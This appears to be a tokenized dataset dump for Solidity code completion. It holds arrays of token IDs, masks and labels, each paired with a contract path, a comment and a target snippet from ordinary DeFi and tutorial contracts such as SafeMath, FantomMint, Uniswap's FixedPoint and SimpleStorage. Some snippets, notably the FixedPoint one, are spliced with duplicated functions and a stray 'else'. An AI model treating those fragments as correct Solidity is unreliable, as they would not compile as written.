0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
423,
16510,
27055,
4709,
353,
463,
882,
395,
288,
203,
203,
225,
512,
1136,
82,
5854,
225,
2437,
82,
5854,
31,
203,
225,
1758,
13843,
264,
273,
1758,
12,
20,
92,
22097,
70,
1340,
74,
1769,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
2163,
31,
203,
225,
445,
24292,
1435,
1071,
288,
203,
225,
289,
203,
203,
225,
445,
1842,
50,
16510,
27055,
44,
484,
1435,
1071,
288,
203,
203,
565,
423,
16510,
27055,
1733,
290,
16510,
12645,
1733,
273,
394,
423,
16510,
27055,
1733,
5621,
203,
565,
225,
2437,
82,
5854,
18,
4861,
2355,
12,
82,
16510,
12645,
1733,
1769,
203,
565,
4268,
18,
1937,
2050,
2304,
12,
4558,
484,
264,
1769,
203,
1377,
290,
16510,
12645,
1733,
203,
565,
11272,
203,
565,
423,
16510,
27055,
290,
16510,
12645,
8924,
273,
423,
16510,
27055,
12,
10239,
429,
12,
2815,
1887,
10019,
203,
203,
203,
565,
290,
16510,
12645,
8924,
18,
12908,
537,
12,
4558,
484,
264,
16,
618,
12,
11890,
5034,
2934,
1896,
1769,
203,
203,
565,
290,
16510,
12645,
8924,
18,
13866,
1265,
12,
203,
1377,
13843,
264,
16,
203,
1377,
1758,
12,
20,
92,
21,
3631,
203,
1377,
290,
16510,
12645,
8924,
18,
28497,
67,
13272,
23893,
1435,
203,
565,
11272,
203,
203,
565,
1815,
19508,
12,
82,
16510,
12645,
8924,
18,
12296,
951,
12,
4558,
484,
264,
3631,
374,
1769,
203,
565,
1815,
19508,
12,
203,
1377,
290,
16510,
12645,
8924,
18,
12296,
951,
12,
2867,
12,
20,
92,
21,
13,
3631,
203,
1377,
2130,
2
] |
./full_match/43114/0xCFf3F5534e1E8920ADE7d91551067184A7007b6e/sources/lovebank/LoveBankStaking.sol
|
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on division by zero. The result is rounded towards zero. Counterpart to Solidity's `/` operator. Note: this function uses a `revert` opcode (which leaves remaining gas untouched) while Solidity uses an invalid opcode to revert (consuming all remaining gas). Requirements: - The divisor cannot be zero./ There is no case in which this doesn't hold
|
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
| 4,581,676 |
[
1,
1356,
326,
3571,
16536,
434,
2795,
9088,
12321,
18,
868,
31537,
598,
1679,
883,
603,
16536,
635,
3634,
18,
1021,
563,
353,
16729,
23248,
3634,
18,
9354,
2680,
358,
348,
7953,
560,
1807,
1375,
19,
68,
3726,
18,
3609,
30,
333,
445,
4692,
279,
1375,
266,
1097,
68,
11396,
261,
12784,
15559,
4463,
16189,
640,
869,
19370,
13,
1323,
348,
7953,
560,
4692,
392,
2057,
11396,
358,
15226,
261,
17664,
310,
777,
4463,
16189,
2934,
29076,
30,
300,
1021,
15013,
2780,
506,
3634,
18,
19,
6149,
353,
1158,
648,
316,
1492,
333,
3302,
1404,
6887,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
16,
533,
3778,
9324,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
70,
405,
374,
16,
9324,
1769,
203,
3639,
2254,
5034,
276,
273,
279,
342,
324,
31,
203,
3639,
1815,
12,
69,
422,
324,
380,
276,
397,
279,
738,
324,
1769,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/421613/0x31DfCC1168601537b2BAB3d11065cAfd7E38a3D5/sources/project_/contracts/marketplace/DinoMarketplaceUpgradeable.sol
|
@dev Set new token address @param _newTokenAddress - Address of new erc20 token.
|
function setTokenAddress(address _newTokenAddress)
external
onlyMarketManger
{
require(
_newTokenAddress != address(0),
"token_address_cannot_be_0"
);
tokenAddress = _newTokenAddress;
emit TokenAddressChanged(_newTokenAddress);
}
| 11,572,716 |
[
1,
694,
394,
1147,
1758,
225,
389,
2704,
1345,
1887,
300,
5267,
434,
394,
6445,
71,
3462,
1147,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
22629,
1887,
12,
2867,
389,
2704,
1345,
1887,
13,
203,
3639,
3903,
203,
3639,
1338,
3882,
278,
49,
11455,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
389,
2704,
1345,
1887,
480,
1758,
12,
20,
3631,
203,
5411,
315,
2316,
67,
2867,
67,
12892,
67,
2196,
67,
20,
6,
203,
3639,
11272,
203,
3639,
1147,
1887,
273,
389,
2704,
1345,
1887,
31,
203,
3639,
3626,
3155,
1887,
5033,
24899,
2704,
1345,
1887,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "./interfaces/IPriceOracleProxy.sol";
import "./interfaces/IFantomMintAddressProvider.sol";
import "./interfaces/IFantomMintTokenRegistry.sol";
import "./interfaces/IFantomDeFiTokenStorage.sol";
import "./interfaces/IFantomMintRewardManager.sol";
import "./modules/FantomMintErrorCodes.sol";
import "./modules/FantomMintBalanceGuard.sol";
import "./modules/FantomMintCollateral.sol";
import "./modules/FantomMintDebt.sol";
import "./modules/FantomMintConfig.sol";
// FantomMint implements the contract of core DeFi function
// for minting tokens against a deposited collateral. The collateral
// management is linked from the Fantom Collateral implementation.
// Minting is burdened with a minting fee defined as the amount
// of percent of the minted tokens value in fUSD. Burning is free
// of any fee.
contract FantomMint is Initializable, FantomMintBalanceGuard, FantomMintCollateral, FantomMintDebt, FantomMintConfig {
// define used libs
using SafeMath for uint256;
using Address for address;
using SafeERC20 for ERC20;
// ----------------------------
// Fantom minter configuration
// ----------------------------
// addressProvider represents the connection to other FMint related
// contracts.
IFantomMintAddressProvider public addressProvider;
// initialize initializes the contract properly before the first use.
function initialize(address owner, address _addressProvider) public initializer {
// remember the address provider connecting satellite contracts to the minter
addressProvider = IFantomMintAddressProvider(_addressProvider);
// init the underlying party
FantomMintConfig.initialize(owner);
FantomMintCollateral.initialize();
FantomMintDebt.initialize();
}
// -------------------------------------------------------------
// Minter parameters resolved from the Config contract
// -------------------------------------------------------------
// getCollateralLowestDebtRatio4dec represents the lowest ratio between
// collateral value and debt value allowed for the user.
// User can not withdraw his collateral if the active ratio would
// drop below this value.
function getCollateralLowestDebtRatio4dec() public view returns (uint256) {
return collateralLowestDebtRatio4dec;
}
// getRewardEligibilityRatio4dec represents the collateral to debt ratio user has to have
// to be able to receive rewards.
function getRewardEligibilityRatio4dec() public view returns (uint256) {
return rewardEligibilityRatio4dec;
}
// getFMintFee4dec represents the current percentage of the created tokens
// captured as a fee.
function getFMintFee4dec() public view returns (uint256) {
return fMintFee4dec;
}
// getMinDebtValue returns the minimum debt value.
function getMinDebtValue() public view returns (uint256) {
return minDebtValue;
}
// -------------------------------------------------------------
// Pool balances and values
// -------------------------------------------------------------
// getCollateralPool returns the address of collateral pool.
function getCollateralPool() public view returns (IFantomDeFiTokenStorage) {
return addressProvider.getCollateralPool();
}
// getDebtPool returns the address of debt pool.
function getDebtPool() public view returns (IFantomDeFiTokenStorage) {
return addressProvider.getDebtPool();
}
// canDeposit checks if the given token can be deposited to the collateral pool.
function canDeposit(address _token) public view returns (bool) {
return addressProvider.getTokenRegistry().canDeposit(_token);
}
// canMint checks if the given token can be minted in the fMint protocol.
function canMint(address _token) public view returns (bool) {
return addressProvider.getTokenRegistry().canMint(_token);
}
// checkCollateralCanDecrease checks if the specified amount of collateral can be removed from account
// without breaking collateral to debt ratio rule.
function checkCollateralCanDecrease(address _account, address _token, uint256 _amount) public view returns (bool) {
return collateralCanDecrease(_account, _token, _amount);
}
// checkDebtCanIncrease (abstract) checks if the specified
// amount of debt can be added to the account
// without breaking collateral to debt ratio rule.
function checkDebtCanIncrease(address _account, address _token, uint256 _amount) public view returns (bool) {
return debtCanIncrease(_account, _token, _amount);
}
// debtValueOf returns the value of account debt.
function debtValueOf(address _account, address _token, uint256 _add) public view returns (uint256) {
// do we have a request to calculate increased debt value?
if ((0 != _add) && (address(0x0) != _token)) {
// return current value with increased balance on given token
return addressProvider.getDebtPool().totalOfInc(_account, _token, _add);
}
// return current debt value as-is
return addressProvider.getDebtPool().totalOf(_account);
}
// collateralValueOf returns the value of account collateral.
function collateralValueOf(address _account, address _token, uint256 _sub) public view returns (uint256) {
// do we have a request to calculate decreased collateral value?
if ((0 != _sub) && (address(0x0) != _token)) {
// return current value with reduced balance on given token
return addressProvider.getCollateralPool().totalOfDec(_account, _token, _sub);
}
// return current collateral value as-is
return addressProvider.getCollateralPool().totalOf(_account);
}
// getMaxToWithdraw returns the max amount of tokens to withdraw with the given ratio.
function getMaxToWithdraw(address _account, address _token, uint256 _ratio) public view returns (uint256) {
return maxToWithdraw(_account, _token, _ratio);
}
// getMaxToMint returns the max amount of tokens to mint with the given ratio.
function getMaxToMint(address _account, address _token, uint256 _ratio) public view returns (uint256) {
return maxToMint(_account, _token, _ratio);
}
// -------------------------------------------------------------
// Reward update events routing
// -------------------------------------------------------------
// rewardUpdate notifies the reward distribution to update state
// of the given account.
function rewardUpdate(address _account) public {
addressProvider.getRewardDistribution().rewardUpdate(_account);
}
// -------------------------------------------------------------
// Token price calculation functions
// -------------------------------------------------------------
// getPrice returns the price of given ERC20 token using on-chain oracle
// expression of an exchange rate between the token and base denomination.
function getPrice(address _token) public view returns (uint256) {
// use linked price oracle aggregate to get the token exchange price
return addressProvider.getPriceOracleProxy().getPrice(_token);
}
// getExtendedPrice returns the price of given ERC20 token using on-chain oracle
// expression of an exchange rate between the token and base denomination and also
// the number of digits of the price.
function getExtendedPrice(address _token) public view returns (uint256 _price, uint256 _digits) {
// use linked price oracle aggregate to get the token exchange price
_price = addressProvider.getPriceOracleProxy().getPrice(_token);
_digits = 10 ** uint256(addressProvider.getTokenRegistry().priceDecimals(_token));
return (_price, _digits);
}
modifier onlyLiquidationManager() {
require(msg.sender == address(addressProvider.getFantomLiquidationManager()), "token storage access restricted");
_;
}
function settleLiquidationBid(address _token, address _destination, uint256 _amount) public onlyLiquidationManager {
ERC20(_token).transfer(_destination, _amount);
}
}
|
return current collateral value as-is
|
return addressProvider.getCollateralPool().totalOf(_account);
| 13,127,172 |
[
1,
2463,
783,
4508,
2045,
287,
460,
487,
17,
291,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
327,
1758,
2249,
18,
588,
13535,
2045,
287,
2864,
7675,
4963,
951,
24899,
4631,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0xFDf9eECBC041fa126290108b86527dBA7c8eFC3e/sources/SimpleSLPTWAP0Oracle.sol
|
a library for handling binary fixed point numbers (https:en.wikipedia.org/wiki/Q_(number_format)) range: [0, 2**112 - 1] resolution: 1 / 2**112
|
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z = 0;
require(y == 0 || (z = self._x * y) / y == self._x, 'FixedPoint::mul: overflow');
return uq144x112(z);
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
} else {
}
| 5,143,988 |
[
1,
69,
5313,
364,
5057,
3112,
5499,
1634,
5600,
261,
4528,
30,
275,
18,
11999,
13744,
18,
3341,
19,
13044,
19,
53,
67,
12,
2696,
67,
2139,
3719,
1048,
30,
306,
20,
16,
9035,
2138,
300,
404,
65,
7861,
30,
404,
342,
9035,
2138,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
15038,
2148,
288,
203,
203,
203,
565,
1958,
582,
85,
17666,
92,
17666,
288,
203,
3639,
2254,
23622,
389,
92,
31,
203,
565,
289,
203,
203,
565,
1958,
582,
85,
25339,
92,
17666,
288,
203,
3639,
2254,
5034,
389,
92,
31,
203,
565,
289,
203,
203,
565,
2254,
28,
3238,
5381,
12915,
1741,
13269,
273,
23543,
31,
203,
565,
2254,
5034,
3238,
5381,
2238,
17666,
273,
374,
92,
21,
12648,
12648,
12648,
2787,
31,
203,
565,
2254,
5034,
3238,
5381,
2238,
23622,
273,
374,
92,
21,
12648,
12648,
12648,
12648,
12648,
12648,
12648,
31,
203,
203,
565,
445,
2495,
25339,
12,
89,
85,
25339,
92,
17666,
3778,
365,
13,
2713,
16618,
1135,
261,
11890,
25339,
13,
288,
203,
3639,
327,
2254,
25339,
12,
2890,
6315,
92,
1671,
12915,
1741,
13269,
1769,
203,
565,
289,
203,
203,
565,
445,
14064,
12,
89,
85,
17666,
92,
17666,
3778,
365,
16,
2254,
5034,
677,
13,
2713,
16618,
1135,
261,
89,
85,
25339,
92,
17666,
3778,
13,
288,
203,
3639,
2254,
5034,
998,
273,
374,
31,
203,
3639,
2583,
12,
93,
422,
374,
747,
261,
94,
273,
365,
6315,
92,
380,
677,
13,
342,
677,
422,
365,
6315,
92,
16,
296,
7505,
2148,
2866,
16411,
30,
9391,
8284,
203,
3639,
327,
582,
85,
25339,
92,
17666,
12,
94,
1769,
203,
565,
289,
203,
203,
565,
445,
8330,
12,
11890,
5034,
16730,
16,
2254,
5034,
15030,
13,
2713,
16618,
1135,
261,
89,
85,
17666,
92,
17666,
3778,
13,
288,
203,
3639,
2583,
12,
13002,
26721,
405,
374,
16,
2
] |
// SPX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract SimpleStroage {
uint256 public favNumber;
bool public favBool;
bool public favBool2;
/*im at 2:03:17 */
// public means anyone can call it
// external means it has to be called from a different contract (!)
function store(uint _favNumber) public {
favNumber = _favNumber;
}
struct People {
uint256 favNumber;
string name;
}
People[] public people;
mapping(string => uint256) public nameToFavoriteNumber;
People public person = People({favNumber: 2, name: "Tom"});
// view, pure dont actaully make a transaction
// pure means you just do some math without reading state
// view means you are reading state
function retrieve_view() public view returns(uint256) {
return favNumber;
}
// string is object, you have to decide where to store it
// memory means you just need it for the duration of the function, it is deleted after
// storage means keep it forever
function addPerson(string memory _name, uint256 _favNumber) public {
people.push(People(_favNumber, _name));
nameToFavoriteNumber[_name] = _favNumber;
}
}
|
view, pure dont actaully make a transaction pure means you just do some math without reading state view means you are reading state
|
function retrieve_view() public view returns(uint256) {
return favNumber;
}
| 13,080,150 |
[
1,
1945,
16,
16618,
14046,
1328,
69,
420,
93,
1221,
279,
2492,
16618,
4696,
1846,
2537,
741,
2690,
4233,
2887,
6453,
919,
1476,
4696,
1846,
854,
6453,
919,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4614,
67,
1945,
1435,
1071,
1476,
1135,
12,
11890,
5034,
13,
288,
203,
3639,
327,
18180,
1854,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
